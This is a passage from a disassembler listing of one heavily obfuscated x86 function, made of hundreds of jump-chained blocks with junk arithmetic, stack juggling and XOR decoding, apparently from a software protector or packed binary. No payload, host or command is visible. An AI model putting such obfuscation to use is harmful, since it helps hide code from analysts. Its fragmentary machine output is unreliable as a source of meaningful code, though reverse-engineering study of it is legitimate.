		add	esp, 4
		push	esi
		jmp	loc_594C41
; ---------------------------------------------------------------------------


loc_5964DC:				; CODE XREF: sub_58A891+F2ACj
		push	[esp+44h+var_46+2]
		mov	ecx, [esp+48h+var_4A+2]
		jmp	loc_5964CD
; ---------------------------------------------------------------------------


loc_5964E7:				; CODE XREF: sub_58A891+DE73j
		push	edi
		jmp	loc_59060C
; ---------------------------------------------------------------------------


loc_5964ED:				; CODE XREF: sub_58A891+107EEj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5964F2:				; CODE XREF: sub_58A891+A520j
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_590C88
; ---------------------------------------------------------------------------


loc_596501:				; CODE XREF: sub_58A891+5095j
		add	esp, 4
		jmp	loc_592203
; ---------------------------------------------------------------------------


loc_596509:				; CODE XREF: sub_58A891+C498j
		mov	esi, 21C25FA5h
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_598107
; ---------------------------------------------------------------------------


loc_59651C:				; CODE XREF: sub_58A891+D0F6j
		mov	ecx, [esp+0]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		jmp	loc_58F21E
; ---------------------------------------------------------------------------


loc_596531:				; CODE XREF: sub_58A891+9DDCj
		add	esp, 4
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596544:				; CODE XREF: sub_58A891+FA17j
		or	ebx, 64C8331Dh
		dec	ebx
		or	ebx, 21AE1E9Fh
		jmp	loc_596D8C
; ---------------------------------------------------------------------------


loc_596556:				; CODE XREF: sub_58A891+6469j
		pop	ebx
		shr	esi, 3
		xor	esi, 8DFACD02h
		xor	edi, esi
		pop	esi
		push	edi
		add	[esp+4+var_4], 276E73CBh
		jmp	loc_5966C1
; ---------------------------------------------------------------------------


loc_596570:				; CODE XREF: sub_58A891+EDEEj
		pop	ebx
		shl	edi, 7
		jmp	loc_594CAB
; ---------------------------------------------------------------------------


loc_596579:				; CODE XREF: sub_58A891+E6AEj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_593E6A
; ---------------------------------------------------------------------------


loc_596589:				; CODE XREF: sub_58A891+6D23j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59658E:				; CODE XREF: sub_58A891+DA67j
		pop	ebx
		jmp	loc_590784
; ---------------------------------------------------------------------------


loc_596594:				; CODE XREF: sub_58A891+C04Bj
		add	ebp, esi
		pop	esi
		jmp	loc_5958BA
; ---------------------------------------------------------------------------


loc_59659C:				; CODE XREF: sub_58A891+60E0j
		mov	eax, 2
		add	edi, eax
		jmp	loc_592748
; ---------------------------------------------------------------------------


loc_5965A8:				; CODE XREF: sub_58A891+E27Ej
		mov	[esp-8+arg_0], ebp
		jmp	loc_596BCC
; ---------------------------------------------------------------------------


loc_5965B0:				; CODE XREF: sub_58A891+CCB3j
		shl	esi, 5
		dec	esi
		push	eax
		mov	eax, 15034D24h
		neg	eax
		jmp	loc_595BCC
; ---------------------------------------------------------------------------
		mov	esp, [esp+0]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5965C9:				; CODE XREF: sub_58A891+6406j
		pop	esp
		and	[edi+1Ch], esi
		jmp	loc_591E54
; ---------------------------------------------------------------------------


loc_5965D2:				; CODE XREF: sub_58A891+80CAj
		push	edx
		jmp	loc_58EB99
; ---------------------------------------------------------------------------


loc_5965D8:				; CODE XREF: sub_58A891+E062j
		add	eax, ebp
		push	ecx
		mov	ecx, 745C3609h
		and	ecx, 4FC34BE2h
		xor	ecx, 42CA2116h
		sub	ecx, 0E574CD1Fh
		sub	eax, ecx
		pop	ecx
		jmp	loc_598E32
; ---------------------------------------------------------------------------


loc_5965FA:				; CODE XREF: sub_58A891+A165j
		add	ch, dl
		pop	edx
		mov	dh, ch
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+48h+var_4A+2], bx
		push	cx
		mov	ch, 5Ah
		push	edx
		mov	dl, ch
		push	ecx
		jmp	loc_591C09
; ---------------------------------------------------------------------------


loc_596614:				; CODE XREF: sub_58A891+10043j
		dec	ebp
		jmp	loc_5929C6
; ---------------------------------------------------------------------------


loc_59661A:				; CODE XREF: sub_58A891+105E5j
		jmp	loc_58FA5C
; ---------------------------------------------------------------------------


loc_59661F:				; CODE XREF: sub_58A891+3DFEj
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		sub	eax, esi
		mov	esi, eax
		pop	eax
		xor	esi, 3C5C7918h
		sub	esi, 19E6DED7h
		and	ebp, esi
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		xor	ebp, 64600DA7h
		jmp	loc_59111D
; ---------------------------------------------------------------------------


loc_596651:				; CODE XREF: sub_58A891+C761j
		pop	esp
		mov	[esp+40h+var_40], eax
		mov	al, 20h
		dec	al
		jmp	loc_594648
; ---------------------------------------------------------------------------


loc_59665E:				; CODE XREF: sub_58A891+10892j
		mov	[esp+40h+var_40], esi
		push	2F523534h
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_597826
; ---------------------------------------------------------------------------


loc_596674:				; CODE XREF: sub_58A891+70CFj
		push	edi
		mov	edi, 7CC61E2Ch
		jmp	loc_59940E
; ---------------------------------------------------------------------------


loc_59667F:				; CODE XREF: sub_58A891+6F5Dj
		mov	ecx, 1
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		pop	ebp
		pop	ecx
		add	ebp, ebx
		pop	ebx
		push	esi
		push	ecx
		mov	ecx, 73402BC6h
		mov	esi, ecx
		pop	ecx
		jmp	loc_59753E
; ---------------------------------------------------------------------------


loc_59669D:				; DATA XREF: sub_58A891+3B07o
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		push	esp
		jmp	loc_59380E
; ---------------------------------------------------------------------------


loc_5966AF:				; CODE XREF: sub_58A891+6BF3j
		mov	[esp+16h+var_18+2], edx
		push	eax
		push	ecx
		push	4588h
		mov	[esp+22h+var_24+2], eax
		jmp	loc_58F09C
; ---------------------------------------------------------------------------


loc_5966C1:				; CODE XREF: sub_58A891+BCDAj
		pop	ebp
		sub	ebp, 276E73CBh
		pop	edi
		dec	ebp
		shl	ebp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 205245C7h
		sub	ebx, 409861C9h
		sub	ebx, 57B1036h
		jmp	loc_599A5E
; ---------------------------------------------------------------------------


loc_5966E9:				; DATA XREF: sub_58A891+3B8Fo
		pop	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5966F0:				; CODE XREF: sub_58A891+5283j
		pop	eax
		jmp	loc_58EE66
; ---------------------------------------------------------------------------


loc_5966F6:				; CODE XREF: sub_58A891+7006j
		push	edx
		mov	dh, 9Dh
		jmp	loc_5911F6
; ---------------------------------------------------------------------------


loc_5966FE:				; CODE XREF: sub_58A891+111F6j
		mov	edi, eax
		pop	eax
		neg	edi
		jmp	loc_5981CD
; ---------------------------------------------------------------------------


loc_596708:				; CODE XREF: sub_58A891+9527j
		mov	[esp+2Ch+var_2C], esi
		push	517Ch
		mov	[esp+30h+var_30], edi
		push	ebx
		push	37970BB1h
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		shr	ebx, 6
		add	ebx, 6333FAFEh
		mov	edi, ebx
		jmp	loc_58EA19
; ---------------------------------------------------------------------------


loc_596732:				; CODE XREF: sub_58A891+E982j
		push	small 7C94h
		mov	word ptr [esp+36h+var_38+2], dx
		push	ax
		pushf
		jmp	loc_593CB7
; ---------------------------------------------------------------------------


loc_596742:				; CODE XREF: sub_58A891+57E6j
		push	bx
		not	byte ptr [esp+22h+var_24+3]
		pop	bx
		mov	dh, bh
		pop	ebx
		mov	ch, dh
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_590112
; ---------------------------------------------------------------------------


loc_596757:				; CODE XREF: sub_58A891+F2A4j
		xor	edi, 6AC7473Ah
		sub	edx, 668246F9h
		add	edx, edi
		add	edx, 668246F9h
		pop	edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		jmp	loc_5921E6
; ---------------------------------------------------------------------------


loc_596777:				; CODE XREF: sub_58A891+F543j
		add	ecx, 63BC597Eh
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_597062
; ---------------------------------------------------------------------------


loc_596785:				; CODE XREF: sub_58A891:loc_59BB31j
		add	ebp, 6A36ACB0h
		jmp	loc_59955B
; ---------------------------------------------------------------------------


loc_596790:				; CODE XREF: sub_58A891+BBFDj
		add	edi, 1
		push	4C18h
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 0FF6C7CFAh
		sub	edi, eax
		pop	eax
		sub	eax, 1D48328Ch
		add	eax, 124A7427h
		add	eax, edi
		push	ebp
		mov	ebp, 72BE0020h
		xor	ebp, 7D1359D2h
		sub	ebp, 0FD62E5CBh
		jmp	loc_598FC5
; ---------------------------------------------------------------------------


loc_5967C9:				; CODE XREF: sub_58A891+3FCFj
		xchg	edi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		jmp	loc_5901F2
; ---------------------------------------------------------------------------


loc_5967D4:				; CODE XREF: sub_58A891+55DAj
		pop	ebx
		push	2689h
		jmp	loc_594A1C
; ---------------------------------------------------------------------------


loc_5967DF:				; CODE XREF: sub_58A891+C347j
		dec	ebp
		shl	ebp, 2
		push	ecx
		mov	ecx, 7E347DFBh
		push	edi
		mov	edi, 36A42CFAh
		and	ecx, edi
		pop	edi
		not	ecx
		inc	ecx
		jmp	loc_5976A7
; ---------------------------------------------------------------------------


loc_5967FA:				; CODE XREF: sub_58A891+9826j
		push	ecx
		mov	ch, 0BDh
		add	al, ch
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		sub	al, 0B7h
		add	al, 0F1h
		sub	al, bl
		sub	al, 0F1h
		jmp	loc_5995A5
; ---------------------------------------------------------------------------


loc_596812:				; CODE XREF: sub_58A891+6E86j
		sub	esp, 4
		jmp	loc_591548
; ---------------------------------------------------------------------------


loc_59681D:				; CODE XREF: sub_58A891+B2D7j
		push	100Ch
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5968C9
; ---------------------------------------------------------------------------


loc_596838:				; CODE XREF: sub_58A891+C78Fj
		xor	ebp, 0DEE48FDh
		shr	ebp, 2
		xor	ebp, 1A9392FAh
		xor	ebp, 7F69225Fh
		jb	loc_58EAD9
		add	ebp, 39D8144Eh
		jmp	loc_593DD5
; ---------------------------------------------------------------------------


loc_59685E:				; CODE XREF: sub_58A891+9756j
		pop	edi
		jmp	loc_593A2C
; ---------------------------------------------------------------------------


loc_596864:				; CODE XREF: sub_58A891+53DBj
		add	edi, 0BDA03F5h
		jmp	loc_597797
; ---------------------------------------------------------------------------


loc_59686F:				; CODE XREF: sub_58A891+8CB0j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		jmp	loc_597112
; ---------------------------------------------------------------------------


loc_596887:				; CODE XREF: sub_58A891+725Aj
		sub	ecx, 1B474372h
		push	dword ptr [ecx]
		xor	dword ptr [esp+0], 26A866FAh
		pop	eax
		push	ebp
		mov	ebp, 26A866FAh
		jmp	loc_599B3A
; ---------------------------------------------------------------------------


loc_5968A2:				; CODE XREF: sub_58A891+10ABFj
		push	esi
		push	14B67210h
		pop	esi
		jmp	loc_591298
; ---------------------------------------------------------------------------


loc_5968AE:				; CODE XREF: sub_58A891+B796j
		inc	al
		jns	loc_596269
		jmp	loc_591883
; ---------------------------------------------------------------------------
		push	esi
		xor	al, 1Fh
		mov	bl, cl


loc_5968C0:				; CODE XREF: sub_58A891+6C98j
		mov	[esp-18h+arg_E+2], edx
		push	ebp
		jmp	loc_592AD9
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: sub_58A891+BFA2j
		xchg	edx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_595EFA
; ---------------------------------------------------------------------------


loc_5968D2:				; CODE XREF: sub_58A891+C483j
		pop	ecx
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 4
		jmp	loc_596594
; ---------------------------------------------------------------------------


loc_5968E1:				; CODE XREF: sub_58A891+6026j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_594E72
; ---------------------------------------------------------------------------


loc_5968EC:				; CODE XREF: sub_58A891+678Fj
		sub	edi, esi
		pop	esi
		add	edi, eax
		add	edi, 58D0D8Dh
		pop	eax
		sub	esp, 4
		jmp	loc_5918E3
; ---------------------------------------------------------------------------


loc_596900:				; DATA XREF: sub_58A891+3A8Bo
		lodsd
		xor	eax, ebx
		push	edi
		mov	edi, 0FD9423Ch
		not	edi
		shr	edi, 5
		not	edi
		shl	edi, 2
		push	esi
		mov	esi, 89E3DEF5h
		sub	edi, 147A02ECh
		sub	edi, esi
		add	edi, 147A02ECh
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5945BB
; ---------------------------------------------------------------------------


loc_596932:				; CODE XREF: sub_58A891+4D0Dj
		add	edx, 6CBC6825h
		jmp	loc_59B514
; ---------------------------------------------------------------------------


loc_59693D:				; CODE XREF: sub_58A891+5B8Bj
		push	0
		sub	byte ptr [esp+10h+var_10], cl
		mov	cl, byte ptr [esp+10h+var_10]
		add	esp, 4
		add	cl, 0C6h
		jmp	loc_58F11B
; ---------------------------------------------------------------------------


loc_596953:				; CODE XREF: sub_58A891+C948j
		add	al, 0FAh
		shl	al, 3
		jmp	loc_5932ED
; ---------------------------------------------------------------------------


loc_59695D:				; CODE XREF: sub_58A891+110A1j
		mov	edi, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58F445
; ---------------------------------------------------------------------------


loc_59696D:				; CODE XREF: sub_58A891+F1F5j
		pop	edi
		jmp	loc_5969B0
; ---------------------------------------------------------------------------


loc_596973:				; CODE XREF: sub_58A891+6F6Bj
		push	small word ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59697B:				; CODE XREF: sub_58A891+471Fj
		pop	esp
		mov	[esp+44h+var_46+2], esp
		add	[esp+44h+var_46+2], 4
		pop	ebp
		jmp	loc_594F29
; ---------------------------------------------------------------------------


loc_59698C:				; CODE XREF: sub_58A891+73C4j
		sub	ecx, 52BC310h
		sub	esi, ecx
		pop	ecx
		jmp	loc_597D9E
; ---------------------------------------------------------------------------


loc_59699A:				; CODE XREF: sub_58A891+9FFCj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	ebp
		jmp	loc_598E7C
; ---------------------------------------------------------------------------


loc_5969B0:				; CODE XREF: sub_58A891+C0DDj
		add	ebx, edi
		push	dword ptr [ebx]
		push	[esp+8+var_8]
		jmp	loc_593259
; ---------------------------------------------------------------------------


loc_5969BC:				; CODE XREF: sub_58A891+B14Ej
		push	edi
		pop	ebx
		pop	edi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5969C4:				; CODE XREF: sub_58A891+5B26j
		push	esi
		mov	esi, 1ADA4AB1h
		not	esi
		not	esi
		sub	esi, 0D2BA40FFh
		sub	ecx, esi
		pop	esi
		sub	edi, ecx
		pop	ecx
		add	edi, ecx
		push	ebx
		push	7F1Ch
		mov	[esp+34h+var_34], esi
		jmp	loc_59152E
; ---------------------------------------------------------------------------


loc_5969EA:				; CODE XREF: sub_58A891+B214j
		add	esp, 4
		push	1DF0h
		mov	[esp+0Ch+var_C], edi
		sub	esp, 4
		jmp	loc_598795
; ---------------------------------------------------------------------------


loc_596A03:				; CODE XREF: sub_58A891+DBF3j
		add	edi, 0AA3FDD9Eh
		xor	ebp, edi
		jmp	loc_598187
; ---------------------------------------------------------------------------


loc_596A10:				; DATA XREF: sub_58A891+3B57o
		mov	ax, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		push	esp
		pop	[esp+14h+var_14]
		add	[esp+10h+var_10], 4
		jmp	loc_594A14
; ---------------------------------------------------------------------------


loc_596A2D:				; CODE XREF: sub_58A891+68F3j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_594C50
; ---------------------------------------------------------------------------


loc_596A3A:				; CODE XREF: sub_58A891+C3EEj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596A3F:				; CODE XREF: sub_58A891+FC6Ej
		xor	ebp, 6814004h
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		sub	esp, 4
		mov	[esp+0], edi
		push	[esp+50h+var_4E+2]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp+4Ch+var_4E+2]
		jmp	loc_5936CC
; ---------------------------------------------------------------------------


loc_596A64:				; CODE XREF: sub_58A891+4AF9j
		add	esi, ebx
		mov	ebx, [esp+30h+var_30]
		jmp	loc_59092F
; ---------------------------------------------------------------------------


loc_596A6E:				; CODE XREF: sub_58A891+E719j
		mov	ecx, 792A78AEh
		sub	eax, ecx
		pop	ecx
		add	edx, 2F760750h
		add	edx, eax
		sub	edx, 2F760750h
		pop	eax
		jmp	loc_594B7E
; ---------------------------------------------------------------------------


loc_596A8A:				; CODE XREF: sub_58A891+E59Cj
		push	[esp+28h+var_28]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58F498
; ---------------------------------------------------------------------------


loc_596A9C:				; CODE XREF: sub_58A891+4A1Dj
		xor	[esp+28h+var_28], ebx
		jmp	loc_597913
; ---------------------------------------------------------------------------


loc_596AA4:				; CODE XREF: sub_58A891+7201j
		push	edx
		mov	edx, 5D38001Fh
		jmp	loc_59B245
; ---------------------------------------------------------------------------


loc_596AAF:				; CODE XREF: sub_58A891+1015Dj
		sub	ecx, 64137058h
		jmp	loc_5987C5
; ---------------------------------------------------------------------------


loc_596ABA:				; CODE XREF: sub_58A891+CFB0j
		add	[esp-0Ch+arg_8], esi
		add	[esp-0Ch+arg_8], 40942D48h
		sub	[esp-0Ch+arg_8], 0A1D39BEh
		sub	[esp-0Ch+arg_8], 39EB024Dh
		pop	esi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596ADC:				; CODE XREF: sub_58A891+E86Bj
		mov	[esp-10h+arg_8], ebx
		push	edi
		jmp	loc_598D87
; ---------------------------------------------------------------------------


loc_596AE5:				; CODE XREF: sub_58A891+4143j
		not	ecx
		inc	ecx
		neg	ecx
		jmp	loc_59408A
; ---------------------------------------------------------------------------


loc_596AEF:				; CODE XREF: sub_58A891+7C8Dj
		pop	ecx
		add	ecx, 0BA6FF563h
		mov	edx, ecx
		pop	ecx
		neg	edx
		add	edx, 4A04F0Fh
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 2
		add	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		xor	esi, [esp-8+arg_0]
		xor	[esp-8+arg_0], esi
		xor	esi, [esp-8+arg_0]
		pop	esp
		sub	esp, 4
		jmp	loc_59B2B9
; ---------------------------------------------------------------------------


loc_596B2F:				; CODE XREF: sub_58A891+8CC3j
					; sub_58A891+FD30j
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		push	ebp
		mov	ebp, 0
		mov	eax, ebp
		pop	ebp
		jmp	loc_5934B1
; ---------------------------------------------------------------------------


loc_596B46:				; CODE XREF: sub_58A891+FFD9j
		and	ebp, 49CB4E60h
		jo	loc_59AEC2
		sub	ebp, 418B063Fh
		mov	eax, ebp
		mov	ebp, [esp+24h+var_24]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 59655D5h
		or	esi, 3FC15473h
		xor	esi, 63701ADDh
		add	esi, 26B42C67h
		inc	esi
		or	esi, 60E35A27h
		add	esi, 1C04844Dh
		add	ebp, esi
		pop	esi
		jmp	loc_59A914
; ---------------------------------------------------------------------------


loc_596B93:				; DATA XREF: sub_58A891+3A47o
		mov	cx, word ptr [esp+8+var_8]
		push	26A0h
		mov	[esp+0Ch+var_C], edx
		push	3EDDh
		mov	[esp+10h+var_10], esp
		push	edi
		mov	edi, 4
		add	[esp+14h+var_10], edi
		jmp	loc_59292E
; ---------------------------------------------------------------------------


loc_596BB6:				; CODE XREF: sub_58A891+43CBj
					; sub_58A891+506Dj
		xchg	eax, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], edi
		push	esp
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_5953FC
; ---------------------------------------------------------------------------


loc_596BC7:				; CODE XREF: sub_58A891+E44Dj
		jmp	loc_591FE9
; ---------------------------------------------------------------------------


loc_596BCC:				; CODE XREF: sub_58A891+BD1Aj
		mov	ebp, 3FB101DBh
		and	ebp, 0B453B0Dh
		inc	ebp
		jmp	loc_5967DF
; ---------------------------------------------------------------------------


loc_596BDD:				; CODE XREF: sub_58A891+D118j
		sub	ecx, 60912B78h
		jnz	loc_599800
		xor	ecx, 0FEAABF6Ah
		jmp	loc_591489
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ebp


loc_596BF6:				; CODE XREF: sub_58A891+C97Cj
					; sub_58A891+FA45j
					; DATA XREF: ...
		mov	cx, word ptr [esp-10h+arg_8]
		push	ecx
		jmp	loc_591E5C
; ---------------------------------------------------------------------------


loc_596C00:				; CODE XREF: sub_58A891:loc_594E7Bj
		jmp	loc_593962
; ---------------------------------------------------------------------------


loc_596C05:				; CODE XREF: sub_58A891+B6A6j
		shr	bl, 7
		sub	esp, 4
		jmp	loc_590CEA
; ---------------------------------------------------------------------------


loc_596C13:				; DATA XREF: sub_58A891+3ADFo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_595D0A
; ---------------------------------------------------------------------------


loc_596C23:				; DATA XREF: sub_58A891+3AF7o
		lodsb
		push	edx
		mov	dl, 7Bh
		or	dl, 4Bh
		dec	dl
		jmp	loc_592885
; ---------------------------------------------------------------------------


loc_596C31:				; CODE XREF: sub_58A891+62D3j
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_596151
; ---------------------------------------------------------------------------


loc_596C5B:				; CODE XREF: sub_58A891+D946j
		jp	loc_597F80
		jmp	loc_59A193
; ---------------------------------------------------------------------------


loc_596C66:				; CODE XREF: sub_58A891+495Fj
		pop	cx
		jmp	loc_596EAD
; ---------------------------------------------------------------------------


loc_596C6D:				; CODE XREF: sub_58A891+10BA2j
		mov	[esp+22h+var_24+2], edx
		push	[esp+22h+var_20+2]
		pop	edx
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	word ptr [esp+1Eh+var_20+2], ax
		jmp	loc_596A3A
; ---------------------------------------------------------------------------


loc_596C84:				; CODE XREF: sub_58A891+4C22j
		push	ebp
		mov	ebp, 3FCD314Eh
		push	eax
		jmp	loc_5909F2
; ---------------------------------------------------------------------------


loc_596C90:				; CODE XREF: sub_58A891+10EDAj
		add	eax, ebx
		pop	ebx
		jmp	loc_59B093
; ---------------------------------------------------------------------------


loc_596C98:				; CODE XREF: sub_58A891+E530j
		push	ecx
		jmp	loc_595939
; ---------------------------------------------------------------------------


loc_596C9E:				; CODE XREF: sub_58A891+537Fj
		push	eax
		mov	ah, bh
		mov	ch, ah
		jmp	loc_5929B4
; ---------------------------------------------------------------------------


loc_596CA8:				; CODE XREF: sub_58A891+A041j
		add	ecx, 15B5DAA8h
		mov	edi, ecx
		pop	ecx
		xor	edi, 501B1C16h
		jmp	loc_58F6A3
; ---------------------------------------------------------------------------


loc_596CBC:				; CODE XREF: sub_58A891+10131j
		jbe	loc_5928E5
		xor	eax, 310D3C27h
		ja	loc_5986E0
		xor	al, 31h
		mov	cl, 8Fh


loc_596CD1:				; CODE XREF: sub_58A891+4195j
		pop	ecx
		sub	esi, 5A855C71h
		shr	esi, 2
		jmp	loc_59AAAE
; ---------------------------------------------------------------------------


loc_596CE0:				; CODE XREF: sub_58A891+6D87j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		and	[esp+22h+var_24+2], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596CFA:				; CODE XREF: sub_58A891+4037j
					; sub_58A891+E842j
		push	ebx
		push	[esp+40h+var_3C]
		pop	ebx
		pop	[esp+40h+var_40]
		not	ebx
		xchg	ebx, [esp+3Ch+var_3C]
		jmp	loc_593733
; ---------------------------------------------------------------------------


loc_596D0D:				; CODE XREF: sub_58A891+FBB2j
		mov	ecx, 438400B8h
		add	esi, ecx
		jmp	loc_5968D2
; ---------------------------------------------------------------------------


loc_596D19:				; CODE XREF: sub_58A891+8243j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		push	esi
		jmp	loc_596509
; ---------------------------------------------------------------------------


loc_596D2E:				; CODE XREF: sub_58A891+7F61j
		add	[esp+10h+var_10], 4
		jmp	loc_590297
; ---------------------------------------------------------------------------


loc_596D37:				; CODE XREF: sub_58A891+109CDj
		pop	esi
		jmp	loc_58FCA1
; ---------------------------------------------------------------------------


loc_596D3D:				; CODE XREF: sub_58A891+638Ej
		add	al, 71h
		add	al, bl
		sub	al, 71h
		pop	ebx
		add	al, cl
		jmp	loc_597619
; ---------------------------------------------------------------------------


loc_596D4B:				; CODE XREF: sub_58A891+704Dj
		mov	ebp, 13493FD5h
		jmp	loc_59A931
; ---------------------------------------------------------------------------


loc_596D55:				; CODE XREF: sub_58A891+FCD3j
		add	esp, 4
		mov	esi, ebp
		jmp	loc_598B92
; ---------------------------------------------------------------------------


loc_596D62:				; CODE XREF: sub_58A891+C57Bj
		add	esp, 4
		add	ebx, 3B1F2687h
		add	ebx, eax
		sub	ebx, 3B1F2687h
		push	eax
		push	31D9h
		mov	[esp+54h+var_54], edx
		push	296C264Ch
		mov	edx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_593E1F
; ---------------------------------------------------------------------------


loc_596D8C:				; CODE XREF: sub_58A891+BCC0j
		xor	ebx, 0E5EEBFDBh
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_591199
; ---------------------------------------------------------------------------


loc_596DA2:				; CODE XREF: sub_58A891+564Cj
		mov	esi, [esp+18h+var_18]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5905BB
; ---------------------------------------------------------------------------


loc_596DB9:				; CODE XREF: sub_58A891+D374j
		shl	edi, 3
		not	edi
		sub	edi, 0FFFFFFFFh
		add	edi, 0F572F4ACh
		add	esi, edi
		jmp	loc_5995B0
; ---------------------------------------------------------------------------


loc_596DD1:				; CODE XREF: sub_58A891+B0CAj
		xchg	eax, [esp+44h+var_46+2]
		pop	esp
		mov	ax, word ptr [esp+40h+var_40]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_597B2E
; ---------------------------------------------------------------------------


loc_596DE2:				; CODE XREF: sub_58A891+EB4Dj
		not	edi
		add	edi, 1
		jmp	loc_599A6E
; ---------------------------------------------------------------------------


loc_596DEF:				; CODE XREF: sub_58A891+1062Cj
		neg	ecx
		and	ecx, 7FF0722h
		or	ecx, 6CC46F81h
		dec	ecx
		add	ecx, 0E687DB57h
		xor	esi, ecx
		pop	ecx
		sub	ebx, esi
		mov	esi, [esp+44h+var_46+2]
		jmp	loc_596D62
; ---------------------------------------------------------------------------


loc_596E11:				; CODE XREF: sub_58A891+7822j
		pop	edi
		add	esi, ecx
		add	esi, 19BD3FFDh
		jmp	loc_58F22C
; ---------------------------------------------------------------------------


loc_596E1F:				; DATA XREF: sub_58A891+3A9Bo
		push	dword ptr [edi+2Ch]
		jmp	loc_592F2D
; ---------------------------------------------------------------------------


loc_596E27:				; CODE XREF: sub_58A891+8697j
		push	ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_594778
; ---------------------------------------------------------------------------


loc_596E3D:				; CODE XREF: sub_58A891+9EA9j
		xchg	ebx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		push	1B87h
		mov	[esp+38h+var_38], esi
		jmp	loc_59A1E6
; ---------------------------------------------------------------------------


loc_596E50:				; CODE XREF: sub_58A891+713Ej
		pop	esi
		add	esi, ebp
		mov	ebp, [esp+28h+var_28]
		jmp	loc_5925BE
; ---------------------------------------------------------------------------


loc_596E5B:				; CODE XREF: sub_58A891+A74Cj
		xor	[esp+38h+var_38], ebx
		xor	ebx, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		idiv	cx
		jmp	loc_59194D
; ---------------------------------------------------------------------------


loc_596E6C:				; CODE XREF: sub_58A891+5993j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58F7FE
; ---------------------------------------------------------------------------


loc_596E7A:				; CODE XREF: sub_58A891+89AAj
		push	edi
		push	[esp+64h+var_60]
		pop	edi
		pop	[esp+64h+var_64]
		mov	esp, [esp+60h+var_60]
		mov	[esp+60h+var_60], ebx
		jmp	loc_59A40E
; ---------------------------------------------------------------------------


